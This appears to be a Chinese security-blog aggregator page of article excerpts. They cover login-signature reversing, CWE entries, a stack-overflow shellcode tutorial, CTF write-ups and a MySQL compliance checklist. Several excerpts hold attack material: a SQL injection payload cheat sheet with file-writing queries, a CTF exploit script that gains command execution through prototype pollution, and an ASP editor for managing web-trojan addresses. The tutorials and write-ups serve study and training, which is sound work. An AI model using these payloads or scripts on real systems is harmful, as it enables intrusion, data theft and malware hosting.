webpack-js-前端签名(sign)算法实战分析 逆向工程

webpack-js-前端签名(sign)算法实战分析

一、简介目前许多网站前端源码都趋于模块化,参数值通过webpack的模块进行加解密,这对于爬虫和渗透都是一个拦路虎,因此写下该博客,记录自己的学习思路。二、目标站点这里分析的是某动某站前端的js代码http://www.xxx.com/三、算法分析3.1 正常发送请求包打开开发者工具,点击network,输入账号密码,点击登录。查看响应请求的内容,其中password的参数值被加密了,这里我输入的是123456,密文看着很像md5,但是通过解密发现,密文又似乎不是md5。发送第二个登录包。password的值没变,但是sign的值发生了变化,较大几率sign值在生成的时候,使用了时间戳。此时寻找该参数加密点。3.2 寻找password、sign加密相关的模块与函数全局搜索该登录请求的接口并成功找到相关的参数。3.2.1 分析password通过分析发现,password的值是由n决定的。s = {    phone: e.phone,    password: n,    type: t,    sign: "",    timestamp: d}并在第1886行,找到了有关n的声明此时发现password被md5加密后,与pwdkey的值,进行字符串拼接后,在进行一次md5加密。直接搜索pwdkey,并在第27589行,找到了该值,发现该值是不变的。这里使用python3,写一个简单的password的加密demo。import hashlibdef md5Encode(str):    m = hashlib.md5(str.encode(encoding='utf-8'))    return m.hexdigest()password = "123456"pwdkey = "kla5ra8h9s"encrypt_password = md5Encode(md5Encode(password)+pwdkey)print(encrypt_password)   发现该值,与我在前端登录框处输入密码123456后,经前端webpack模块加密后的值是一样的,说明前面的分析思路是正确的。3.2.2 分析signsign的生成方式在第1866行进行的。d.sign = this.$md5Sign(n)sign的值是通过md5Sign进行加密后得到的,因此这里需要分析两个点。分别是md5Sign的算法流程,以及l的值。3.2.2.1 分析l在第1858行发现l = "" + e.phone + n + t + d这里我下个断点,传值进来方便查看。l的值是由手机号+密码密文+1+时间戳生成的。即l=phone+md5(md5(password)+pwdkey)+1+时间戳3.2.2.2 分析md5Sign此时分析md5Sign的算法。通过断点追踪发现,md5Sign和函数mn()有关。有点奇怪,为什么不应该是直接追到md5Sign的函数声明去吗?怎么会是mn()的声明。此时我直接搜索了mn()发送mn的值又赋值给了md5Sign因此此处mn和md5Sign可以理解是等价的关系。此时来分析mn的函数流程。sn = a("8237"),cn = a.n(sn);function mn(e) {    var i = "",    a = "6d9fkhj33rk8sa5fc";    return i = e + a,    i = cn()(i).toLowerCase(),    i}此处并设置断点传值。并连续调试到下一步此时分析可知e = phone +password的密文+1+时间戳e = 151123412349ac13f8bad58389388ecc1604eaed32011635925676a = 6d9fkhj33rk8sa5fci = e + ai = phone +password的密文 +1 + 时间戳 + 6d9fkhj33rk8sa5fc即i = 151123412349ac13f8bad58389388ecc1604eaed320116359256766d9fkhj33rk8sa5fc这里为了方便查看看,就将i最后的值拆分一下phonemd5(md5(password)+pwdkey)1时间戳a151123412349ac13f8bad58389388ecc1604eaed320116359256766d9fkhj33rk8sa5fci的值再被cn函数加密,加密后的值,全部通过toLowerCase()转换成小写字母。sn = a("8237");cn = a.n(sn);为了方便调试,这里我打开了编辑器,准备扣前端js代码下来,本地执行调试了。先把前面的流程进行整理,这里我把所有时间戳写死了,方便等下观察值是否一样。当时间戳为1635925676时,sign的值为32138108f605a5122cc6f6c1bc54c7b3。(之前的截图)var password = "9ac13f8bad58389388ecc1604eaed320"var phone = "15112341234"var timestamp =...
阅读全文
CWE-916 使用具有不充分计算复杂性的口令哈希 CWE(弱点枚举)

CWE-916 使用具有不充分计算复杂性的口令哈希

CWE-916 使用具有不充分计算复杂性的口令哈希 Use of Password Hash With Insufficient Computational Effort 结构: Simple Abstraction: Base 状态: Incomplete 被利用可能性: unkown 基本描述 The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive. 扩展描述 Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash. Many hash algorithms are designed to execute quickly with minimal...
阅读全文
CWE-836 在认证机制中使用口令哈希代替口令 CWE(弱点枚举)

CWE-836 在认证机制中使用口令哈希代替口令

CWE-836 在认证机制中使用口令哈希代替口令 Use of Password Hash Instead of Password for Authentication 结构: Simple Abstraction: Base 状态: Incomplete 被利用可能性: unkown 基本描述 The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store. 扩展描述 Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a...
阅读全文
软件漏洞之栈溢出执行shellcode 逆向工程

软件漏洞之栈溢出执行shellcode

前言    在前面文章中,讲解了通过溢出,来达到覆盖邻变量的值,从而绕过密码验证,本节讲解通过溢出执行shellcode1.源代码分析    通过读取password的内容,进行保存到变量里面。而我们的漏洞利用点就是password.txt这个文件。#include "stdafx.h"#include <string.h>#include <stdlib.h>#include<windows.h>#define PASSWORD "1234567"int verify_password(char *password){ int authenticated; char buffer; printf("%pn",buffer); authenticated = strcmp(password, PASSWORD); strcpy(buffer, password); return authenticated;}int main(int argc, char* argv){ LoadLibrary("user32.dll"); int valid_flag = 0; char password; FILE* fp; if(!(fp= fopen("password.txt","rw+"))){ printf("文件打开失败n"); system("pause"); return 0; } fscanf(fp,"%s",password); valid_flag = verify_password(password); if (valid_flag) { printf("incorrect password!nn"); } else { printf("Congratulation! You have passed the verification!n"); } system("pause"); return 0;}    继续看如下图,buffer里面存入的shellcode,发现当buffer淹没到eip的时候,将eip在指向到buffer地址。即可执行buffer里面的shellcode。2.提取shellcode    这里的话我用messagebox做演示,获取messagebox的地址后。用汇编调用提取shellcode。   int _tmain(int argc, _TCHAR* argv){ HMODULE hdll = LoadLibrary(L"user32.dll"); DWORD msg = (DWORD)GetProcAddress(hdll, "MessageBoxA"); printf("msg的地址是%p", msg); __asm{ pushad; push 0; push 0; push 0; push 0; mov eax,0X76EBED60; call eax; popad; } return 0;}    提取的话直接在dbg里面提取即可,右键选中,二进制--编辑,即可转换为shellcode    3.漏洞利用       首先将shellcode写入到buffer里面,剩下的用nop填充,最后19FAA0则是的buffer地址,同时也是ret返回的地方。    这里的话依旧参考上图,buffer的首地址写shellcode,之后都用nop填充即可,到EBP+4的地方,直接修改为buffer的地址即可。        首先看一下没有执行strcpy之前的栈内情况,EBP+4的地方就是ret返回之后eip的地方。        之后看一下执行完strcpy的时候。buffer成功被shellcode填充,而EBP+4要跳转的eip改为了buffer的地址,当执行完ret之后,就会跳转到buffer的地址。        最后运行一下程序,漏洞利用成功      ...
阅读全文
Protected: Some thoughts and exps on Mobile Pwn2Own 2014 dhcpcd RCE  (CVE-2014-7912) 安全博客

Protected: Some thoughts and exps on Mobile Pwn2Own 2014 dhcpcd RCE (CVE-2014-7912)

This content is password protected. To view it please enter your password below: Password: FROM :https://blog.flanker017.me/ | Author:Flanker相关推荐: Raspberry Pi 4:使用bluez和bluealsa,将树莓派改造为蓝牙音箱概述 家里有个不带蓝牙的音箱,而带蓝牙的小爱同学Mini又居然是单声道,因此,为了让音箱能连上蓝牙,只能掏出我珍藏已久的树莓派4了。 我的Raspberry Pi 4装的是ArchLinux AArch64,至于别的发行版不是很清楚,不过应该可以作为参考使用 …
阅读全文
WeChall 之 Blinded by the light 安全博客

WeChall 之 Blinded by the light

这题是个Mysql的盲注。漏洞位置在源码中写的很清楚: $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; 这里的password明显没有经过过滤就带入查询。那么,我们可以通过OR盲注来让它返回不同的页面,借此来判断语句的正确性。 首先,我使用的语句: ' or left(password,1) FROM :rickyhao.com | rickyhao.com相关推荐: 内网渗透实战指北(二)第二章内网信息收集2.1内网信息收集概述 我是谁?——对当前机器角色的判断 这是哪?——对当前机器所处网络环境的拓扑结构进行分析和判断 我在哪?——对当前机器所处区域的判断 2.2收集本机信息相关命令2.2.1手动收集信息1.查询网络配置信息1ipconfig…
阅读全文
KCon议题:Hacking You Without Password 安全文章

KCon议题:Hacking You Without Password

And 帅气的演讲者议题解读:点击阅读原文或复制下载链接: https://github.com/knownsec/KConKCon议题:Hacking You Without Password:https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.7-Hacking%20You%20Without%20Password-%E6%B3%B3%E5%B0%91.pdf图片、资料来源:1. KCon黑客大会公众号:《【千呼万唤始出来】KCon 2018议题PPT公开》2. 安全客:KCon 2018 | 寻找黑客精神的最初原点(PPT公开下载)以上临时工所述我司一概不负责 本文始发于微信公众号(逢人斗智斗勇):KCon议题:Hacking You Without Password
阅读全文
网络安全等级保护测评-MYSQL篇 云安全

网络安全等级保护测评-MYSQL篇

身份鉴别a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换;测评方法;1)使用如下命令查询账号select user, host,password from mysql.user;输出用户列表,查者是否存在相同用户名2)执行如下语句查询是否在空口令用:select * from mysql.user where length(password)= 0 or password is null;输出结果是否为空3)(针对5.6.6之后版本)执行如下语句查看用户口今复杂度相关配置:show variables like ‘validate_password%’;注;MySQL过低版本不能进行密码复杂度配置,则关注当前口令复杂度策略,有些MySQL数据库password字段无效,需要替换为authentication_string1.应对登录的用户进行身份标识和鉴别:MySQL身份鉴别通过username+host+password来进行登录验证,鉴别因素三者不能同时为空;2.实际口令组成情况和更换情况;MySQL口令复杂度策略配置(需使用validate_password插件):validate_password_check_user_name:OFFvalidate_password_dictionary_file: 字典文件validate_password_length:8 密码长度validate_password_mixed_case_count:1 大小写validate_password_number_count:1 密码中数据长度validate_password_policy:1 or MEDIUMvalidate_password_special_char_count:1 特殊字符3.定期更换:一方面看实际口令更换周期,访谈,或查看user表中password_last_changed字段;MySQL5.6.6开始,user表多了一个password_expired字段,默认为N,设置为Y后,则通过定时器任务等方式来改密码;从5.7.4版本开始,MySQL多了一个全局变量default_password_lifetime,可执行select global variables like ‘default_password_lifetime’;查看,并且user表增加了两个字段:password_lifetime、password_last_changed,可执行:select user,host,password,password_last_changed,password_expired from mysql.user;查看对于default_password_lifetime和password_lifetime而言,值为0则代表有效期为永远,单位为天。b)应具有登录失败处理功能,应配置并启用结束会话、限制非法登录次数和当登录连接超时自动退出等相关措施;测评方法;1.登录失败:执行show variables like ‘%max_connect_errors%’;查看max_connect_errors = 100;执行show variables like ‘%timeout%’;返回值Wait_timeout=28800(秒)。2.登录失败:可以使用插件connection_control和connection_control_failed_login_attempts共同实现。使用下列语句查询插件:show plugins;或select plugin_name,plugin_status from information_schema.plugins where plugin_name like ‘connection%’; 相关参数如下:(事件毫秒)connection_control_failed_connections_threshold:3connection_control_min_connection_delay:1000connection_control_max_connection_delay:108000前三次失败没延迟,第四次失败1000毫秒延迟,第五次2000直到最大延迟108000注;MYSQL数据库要配置登录失败处理功能需要安装插件,默认是无此功能,不符合c)当进行远程管理时,应采取必要措施防止鉴别信息在网络传输过程中被窃听;测评方法;询问核查通过什么管理工具连接数据库,查询此连接工具是否具备远程连接加密措施注;MySQL自己支持使用ssl协议对连接进行加密,相关参数有have_openssl、have_ssl,执行show global variables like ‘%ssl%’;为YES则代表数据库支持SSL连接。如果某连接使用了SSL,使用status可以查看到,使用SSL需要运行mysql_ssl_rsa_setupd)应采用口令、密码技术、生物技术等两种或两种以上组合的鉴别技术对用户进行身份鉴别,且其中一种鉴别技术至少应使用密码技术来实现。测评方法;询问并核查是否采用双因子登录数据库,且其中一种属于密码技术注;通常情况下都是用户名+口令,且数据库层面实现双因子登录比较困难,目前好像只有用户名+口令+Ukey可以实现访问控制a)应对登录的用户分配账户和权限测评方法;1)执行语句select user,host from mysql.user 询问数据库管理员各个账户的作用与权限,输出结果是否与实际人员相符注;此项基本上时默认符合,因为至少有个root用户存在b)应重命名或删除默认账户,修改默认账户的默认口令;测评方法;查看root账户是否重命名和修改默认口令注;默认账户root可以修改,若因为业务原因不方便修改,则应该使用强口令c)应及时删除或停用多余的、过期的账户,避免共享账户的存在;测评方法;查看user表再访谈管理员表中用户与现实是否做到一一对应,且无共用,多余,过期的账户d)应授予管理用户所需的最小权限,实现管理用户的权限分离;测评方法;1)先根据用户方实际人员情况核查是否具备不同管理员2)使用命令select Host,User,File_priv,Shutdown_priv,grant_priv from user;查看各管理员账户权限设置是否与实际情况对应注;此项至少要包括系统管理员和审计管理员才能算符合e)应由授权主体配置访问控制策略,访问控制策略规定主体对客体的访问规则;测评方法;1)访谈管理员是否制定了访问控制策略2)执行语句:mysql>selcec * from mysql.userG -检查用户权限列表mysql>selcec * from mysql.dbG --检查数据库权限列表mysql>selcec * from mysql.tables_privG -检查用户表权限列表输出的权限列是是否与管理员制定的访问控制策略及规则一致3)登录不同的用户,验证是否存在越权访问的情形注;通常情况下是由系统管理员来配置策略,基本上算默认符合f)访问控制的粒度应达到主体为用户级或进程级,客体为文件、数据库表级;测评方法;此项主要检查访问的主体和客体是什么级别的注;通常情况下数据库层面主体为用户及,客体为数据库表级安全审计a)应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计;测评方法;1)执行下列语句:show variables like ‘log_%’;查看二进制日志、慢查询日志、错误日志、操作日志是否开启2)核查是否采取第三方工具增强MySQL日志功能。若有,记录第三方审计工具的审计内容,查看是否包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息注;show global variables like ‘%general%’;值为OFF或0表示未开启,b)审计记录应包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息;测评方法;1)执行下列语句:mysql>show master status;查看当前日志根据日志存放路径,查看输出的日志内容2)核查是否采取第三方工具增强MySQL日志功能。若有,记录第三方审计工具的审计内容,查看是否包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息注;只要开启了审计功能,此项默认符合c)应对审计记录进行保护,定期备份,避免受到未预期的删除、修改或覆盖等;测评方法;询问管理员是否对审计记录保护并定期备份,备份在哪里,并且日志记录保存时间是否大于6个月d)应对审计进程进行保护,防止未经授权的中断。测评方法;切换开放状态的账户(非root账户)进行测试,看能否中断审计、日志服务:可信验证a)可基于可信根对计算设备的系统引导程序、系统程序、重要配置参数和应用程序等进行可信验证,并在应用程序的关键执行环节进行动态可信验证,在检测到其可信性受到破坏后进行报警,并将验证结果形成审计记录送至安全管理中心。测评方法;数据库未涉及可信技术的使用,故不适用数据完整性a)应采用校验技术或密码技术保证重要数据在传输过程中的完整性,包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等;测评方法;若数据库只涉及鉴别信息,则按照身份鉴别c项来写,其他数据绝大多数情况考虑不适用由应用层面负责b)应采用校验技术或密码技术保证重要数据在存储过程中的完整性,包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等。测评方法;如果数据保密性满足要求则完整性也满足要求,可以根据数据保密性b)来写数据保密性a)应采用密码技术保证重要数据在传输过程中的保密性,包括但不限于鉴别数据、重要业务数据和重要个人信息等;测评方法;数据库只涉及了身份鉴别,看身份鉴别c项b)应采用密码技术保证重要数据在存储过程中的保密性,包括但不限于鉴别数据、重要业务数据和重要个人信息等。测评方法;主要查看鉴别信息根据数据库采用了什么加密方式,至于其他重要数据根据现场查看情况来定数据备份恢复a)应提供重要数据的本地数据备份与恢复功能;测评方法;主要询问管理员是否对数据库进行本地备份,并且是否做过恢复性测试b)应提供异地实时备份功能,利用通信网络将重要数据实时备份至备份场地;测评方法;主要询问管理员是否做了异地实时备份,具体备份在哪里,保存时间注;此项要注意实时,往往业主做了异地备份,但不是实时,也只能算部分符合c)应提供重要数据处理系统的热冗余,保证系统的高可用性。测评方法;询问管理员是否对数据库采用热冗余方式部署注;需要注意一定要是重要数据存在的数据库,可根据现场具体情况和业务判断剩余信息保护a)应保证鉴别信息所在的存储空间被释放或重新分配前得到完全清除;测评方法;mysql数据库自身能够保证鉴别信息所在的存储空间被释放或重新分配前得到完全清除b)应保证存有敏感数据的存储空间被释放或重新分配前得到完全清除测评方法;mysql数据库自身能够保证存有敏感数据的存储空间被释放或重新分配前得到完全清除个人信息保护a)应仅采集和保存业务必需的用户个人信息;测评方法;数据库不涉及对个人信息的采集,此项在应用层面进行判定b)应禁止未授权访问和非法使用用户个人信息。测评方法;数据库不涉及对个人信息的采集,此项在应用层面进行判定 本文始发于微信公众号(LemonSec):网络安全等级保护测评-MYSQL篇
阅读全文
AntCTFxD^3CTF2021 部分WriteUp 逆向工程

AntCTFxD^3CTF2021 部分WriteUp

AntCTFxD^3CTF Web★8-bit pub一般代码审计登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了exp:# coding:utf-8import requestsurl = 'http://9267351e50.8bit-pub.d3ctf.io/'sess = requests.session()headers = { 'Content-Type': 'application/json'}class flag: def login_admin(): data = '{"username":"admin","password":{"password":true}}' res = sess.post(url + 'user/signin', data=data, headers=headers) print(res.text) def readflag(): data = '{"to":"[email protected]","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":}' res = sess.post(url+'admin/email',data=data,headers=headers) print(res.text)if __name__ == '__main__': flag.login_admin() flag.readflag()Misc★shellgen2除了php标签外,只能使用0-9$_;+.=<?>中的字符,需要输出任意指定的小写字符串。考虑使用<?=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。最后的python脚本为:input_a=input()beg='''<?php $_=.;$_999=0;$_999++;$_999++;$_999++;$_=$_;$____=$_;'''par='_09'let_dic={}for i in range(3): for j in range(3): for p in range(3): let_dic="$_"+par+par+parkeys=list(let_dic.keys())let_dic+'=$_;'for i in range(25): beg+='$_++;'+let_dic+'=$_;'beg+='?><?='+let_dicfor let in input_a: beg+='.'+let_dicbeg+=';'print(beg,end="")★Virtual Love麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘参考文章:【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统首先把他的centos7导入vm,然后查看他所生成的文件,将centos7所生成的vmx以及vmsd直接替换至题目的文件之后使用010进行修改s001-s006.vmdk的文件头对照着修改,很容易发现规律。最后修改vmx的内容,也一样对照着修改随后便可以开机,给了内容说是guest,可以直接登录取证一般套路就是直接history看得出来需要去获取root权限这里直接进编译模式了,网上一堆文章,丢个链接在这centos7重置密码连接CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码https://blog.csdn.net/gnail_oug/article/details/94721777重置后就可以看见文件了04开头是解压密码,[email protected]是目标文件,剩下就没啥了计算md5:md5sum★Robust打开pcapng,首选项导入log,解密出http3数据流右键追踪流QUIC流发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件  (学弟学妹y(老)y(工)d(具)s(人))接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4根据给出的hint链接找到如下工具:https://github.com/quiet/quiet使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件lyric是网易云的网页接口:访问http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=-1得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论在线网页:Unicode Steganography with Zero-Width Characters (330k.github.io)http://330k.github.io/misc_tools/unicode_steganography.html如下设置解密后相关文章:https://support.f5.com/csp/article/K05822509https://www.cellstream.com/reference-reading/tipsandtricks/382-using-wireshark-to-analyze-quic-traffichttps://blog.csdn.net/weixin_37035452/article/details/93763122Reverse★JumpjumpIda打开,shift+F12查看字符串:跟进后来到关键函数,F5大法查看伪代码:通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数:继续跟进:for循环里的就是第一轮异或,后面的sub_408A80()函数经过动态调试发现为反调试手段,只要不进入该函数,直接F9到下一个断点前即可继续运行程序。第二个函数:将第一轮异或后的值加4之后与0x33异或,再与dword_4CC100数组比较。总的来说就是两轮异或(感觉就是一道签到题。。。)脚本:我们欢迎每一个对技术充满热情的同学如果你和我们一样,想做出点成绩这里给你无限的空间,任你翱翔进组方式,简历投递邮箱[email protected]欢迎真正热爱技术的你!Timeline Sec 团队安全路上,与你并肩前行 本文始发于微信公众号(Timeline Sec):AntCTFxD^3CTF2021 部分WriteUp
阅读全文
如何使用Bulwark实现组织的资产以及漏洞管理 安全工具

如何使用Bulwark实现组织的资产以及漏洞管理

概述Bulwark是一款针对企业和组织机构的组织资产和漏洞管理工具,该工具继承了Jira,旨在帮助企业安全从业人员生成关于组织内部的应用程序安全报告。需要注意的是,该项目目前还处于前期开发阶段,因此可能会存在运行不稳定的情况。工具下载git clone https://github.com/softrams/bulwark.git使用Docker启动首先,我们需要在本地环境中安装好Docker【阅读原文下载】。接下来,创建一个.env文件,并提供下列参数配置:MYSQL_DATABASE="bulwark"MYSQL_PASSWORD="bulwark"MYSQL_ROOT_PASSWORD="bulwark"MYSQL_USER="root"MYSQL_DB_CHECK="mysql"DB_PASSWORD="bulwark"DB_URL="172.16.16.3"DB_ROOT="root"DB_USERNAME="bulwark"DB_PORT=3306DB_NAME="bulwark"DB_TYPE="mysql"NODE_ENV="production"DEV_URL="http://localhost:4200"PROD_URL="http://localhost:5000"JWT_KEY="changeme"JWT_REFRESH_KEY="changeme"CRYPTO_SECRET="changeme"CRYPTO_SALT="changeme"构建并启动Bulwark容器:docker-compose up开启/停止Bulwark容器:docker-compose startdocker-compose stop移除Bulwark容器:docker-compose down此时,我们可以访问localhost:5000来使用Bulwark。本地安装$ git clone https://github.com/softrams/bulwark.git$ cd bulwark$ npm install以开发模式运行:$ npm run start:dev以生产模式运行:$ npm start环境变量在项目根目录中创建一个.env文件,应用程序将使用dotenv来解析这个文件。DB_PASSWORDDB_PASSWORD="somePassword"这个变量用于设置数据库密码。DB_USERNAMEDB_USERNAME="foobar"这个变量用于设置数据库用户名。DB_URLDB_URL=something-foo-bar.dbnet这个变量用于设置数据库URL地址。DB_PORTDB_PORT=3306这个变量用于设置数据库端口号。DB_NAMEDB_NAME="foobar"这个变量用于设置数据库名称。DB_TYPEDB_TYPE="mysql"这个应用程序使用的是MySQL来作为数据库。NODE_ENVNODE_ENV=production这个变量用于设置节点环境。DEV_URL="http://localhost:4200"如果需要使用不同端口,可配置该参数。PROD_URL="http://localhost:5000"如果需要使用不同端口,可配置该参数。JWT_KEYJWT_KEY="changeMe"这个变量用于设置JWT凭证。JWT_REFRESH_KEYJWT_REFRESH_KEY="changeMe"这个变量用于刷新JWT凭证。CRYPTO_SECRETCRYPTO_SECRET="randomValue"这个变量用于设置Scrypt密码。CRYPTO_SALTCRYPTO_SECRET="randomValue"这个变量用于设置Scrypt盐值。空.env文件模板DB_PASSWORD=""DB_URL=""DB_USERNAME=""DB_PORT=3306DB_NAME=""DB_TYPE=""NODE_ENV=""DEV_URL="http://localhost:4200"PROD_URL="http://localhost:5000"JWT_KEY=""JWT_REFRESH_KEY=""CRYPTO_SECRET=""CRYPTO_SALT=""创建初始数据库迁移首先,我们需要使用下列命令来创建初始数据库迁移:$ npm run migration:init接下来,运行初始数据库迁移:$ npm run migration:run默认凭证我们需要在初始安装过程中创建一个用户账号,凭证如下:电子邮箱:[email protected]密码:changeMe首次登录时,别忘了在账号配置中更新默认的用户密码。Bulwark基于下列项目开发实现TypeormAngularExpress许可证协议本项目的开发与发布遵循MIT开源许可证协议。项目地址Bulwark:【GitHub传送门】精彩推荐 本文始发于微信公众号(FreeBuf):如何使用Bulwark实现组织的资产以及漏洞管理
阅读全文
实用SQL注入语句(建议收藏) 安全文章

实用SQL注入语句(建议收藏)

注入有风险,操作需谨慎' or 1=1' or '1=1'/*'%23' and password='mypassid=-1 union select 1,1,1id=-1 union select char(97),char(97),char(97)id=1 union select 1,1,1 from membersid=1 union select 1,1,1 from adminid=1 union select 1,1,1 from useruserid=1 and password=mypassuserid=1 and mid(password,3,1)=char(112)userid=1 and mid(password,4,1)=char(97)and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)' and LENGTH(password)='6(探测密码长度)' and LEFT(password,1)='m' and LEFT(password,2)='my…………………………依次类推' union select 1,username,password from user/*' union select 1,username,password from user/*=' union select 1,username,password from user/* (可以是1 或者=后直接跟)99999' union select 1,username,password from user/*' into outfile 'c:/file.txt (导出文件)=' or 1=1 into outfile 'c:/file.txt1' union select 1,username,password from user into outfile 'c:/user.txtSELECT password FROM admins WHERE login='John' INTO DUMPFILE'/path/to/site/file.txt'id=' union select 1,username,password from user into outfileid=-1 union select 1,database(),version() (灵活应用查询常用查询测试语句,SELECT * FROM table...
阅读全文
【原创】Asp简易在线文本编辑器(支持密码) lcx

【原创】Asp简易在线文本编辑器(支持密码)

Asp简易在线文本编辑器(支持密码): Dim PassWord, FilePath PassWord = "test" '密码 FilePath = Server.MapPath("Muma.txt") '文本路径 IF Request.QueryString = PassWord Then Session("admin") = PassWord '设置登陆会话 IF Session("admin")  PassWord Then Response.End '判断登录状态 IF Request.QueryString = "Save" Then '保存文件     Server.CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath,2,Flase).Write Request("TxtData")      Response.Write " 数据保存成功!" Else     Response.Write "Asp文本编辑 - By:Nuclear'Atk 网马地址一行一个支持无限行" & vbcrlf     Response.Write "" & vbcrlf     Response.write "" & CreateObject("Scripting.FileSystemObject").OpenTextfile(FilePath,1,False).Readall & "" & vbcrlf     Response.Write " " & vbcrlf     Response.Write " " & vbcrlf End IF Response.End %> 文章来源于lcx.cc:【原创】Asp简易在线文本编辑器(支持密码)相关推荐: 野草Weedcms v4.0sp1-5.0贺岁版盲注漏洞    野草 Weedcms v4.0 sp1 至最新 5.0 贺岁版 USER_AGENT 盲注漏洞 程序说明:     野草 Weedcms 基于PHP+MYSQL架构。创新型内容管理模式,建立频道后可定义内容模型,均在后台可以控制,非常方便。     模…
阅读全文